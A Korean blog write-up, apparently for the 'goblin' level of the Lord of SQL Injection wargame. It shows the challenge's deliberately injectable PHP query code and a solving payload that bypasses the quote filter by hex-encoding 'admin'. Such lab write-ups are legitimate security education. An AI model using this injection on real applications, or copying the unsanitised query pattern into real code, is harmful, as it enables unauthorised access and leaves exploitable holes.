반응형
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>
|
cs |
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
no에 따옴표가 필터링 된다.
if($result['id'] == 'admin') solve("goblin");
id가 admin이어야 한다.
no=1는 guest가 나온다.
query : select id from prob_goblin where id='guest' and no=1
Hello guest
no에 다른 값을 넣어주어 guest가 나오지 못하도록 한다음 or id = 'admin'을 붙여주면 된다.
그러나 '을 필터링하기 때문에 admin이라는 문자열을 hex값으로 바꿔서 넣어주면 된다.
no=0 or id = 0x61646d696e
반응형
'WAR GAME > Lord of SQLi' 카테고리의 다른 글
LORD OF SQL INJECTION [darkelf] 풀이 (0) | 2019.10.27 |
---|---|
LORD OF SQL INJECTION [wolfman] 풀이 (0) | 2019.10.26 |
LORD OF SQL INJECTION [orc] 풀이 (0) | 2019.10.25 |
LORD OF SQL INJECTION [cobolt] 풀이 (0) | 2019.10.23 |
LORD OF SQL INJECTION [gremlin] 풀이 (0) | 2019.10.22 |